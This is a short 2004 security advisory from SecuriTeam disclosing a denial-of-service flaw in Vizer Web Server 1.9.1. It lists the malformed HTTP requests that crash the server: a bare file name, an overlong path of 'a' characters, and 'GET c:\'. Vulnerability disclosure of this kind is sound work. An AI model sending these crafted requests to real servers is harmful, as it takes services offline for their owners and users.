[NT] Vizer Web Server DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/18/04

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Date: 18 Feb 2004 15:42:55 +0200

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      Vizer Web Server DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/vizerwebserver/> Vizer is "an open
    source web server written in Visual Basic". A vulnerability in the product
    allows remote attackers to cause the product to become unable to service
    any additional requests by sending malformed HTTP requests.

    DETAILS

    Vulnerable Systems:
     * Vizer Web Server version 1.9.1

    The program doesn't well menage the input strings received, so an attacker
    is able to crash the web server, sending a crafted string. To test the
    vulnerability, send to the web server a string like:

    index.htm
    (without specifying GET and HTTP)

    Or:
    GET /aaaaaa[ 250 of a ]aaa HTTP/1.1
    (specifying GET and HTTP)

    GET /aaaaaa[ 250 of a ]aaa
    (specifying only GET)

    Or:
    GET c:\
    (specifying only GET)

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fdonato@autistici.org>
    Donato Ferrante.

    ========================================

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